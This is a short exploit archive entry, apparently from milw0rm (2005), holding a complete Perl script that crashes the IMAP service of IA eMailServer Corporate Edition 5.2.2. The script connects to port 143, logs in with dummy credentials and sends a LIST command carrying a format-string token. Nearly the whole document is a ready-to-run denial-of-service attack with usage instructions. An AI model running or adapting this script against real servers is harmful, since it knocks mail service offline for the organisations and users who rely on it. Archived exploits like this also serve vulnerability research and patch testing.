IA eMailServer Corporate Edition Version <= 5.2.2 - DoS Exploit

#===== Start IAeMailServer_DOS.pl ===== # # Usage: IAeMailServer_DOS.pl &#60;ip&#62; # IAeMailServer_DOS.pl 127.0.0.1 # # True North Software, Inc. IA eMailServer Corporate Edition # Version: 5.2.2. Build: 1051. # # Download: # http://www.tnsoft.com/ # ############################################################ use IO::Socket; use strict; my($socket) = &#34;&#34;; if ($socket = IO::Socket::INET-&#62;new(PeerAddr =&#62; $ARGV[0], PeerPort =&#62; &#34;143&#34;, Proto =&#62; &#34;TCP&#34;)) { print &#34;Attempting to kill IA eMailServer at $ARGV[0]:143...&#34;; sleep(1); print $socket &#34;0000 LOGIN hello moto\r\n&#34;; sleep(1); print $socket &#34;0001 LIST 1 \%x\r\n&#34;; close($socket); } else { print &#34;Cannot connect to $ARGV[0]:143\n&#34;; } #===== End IAeMailServer_DOS.pl ===== # milw0rm.com [2005-06-26]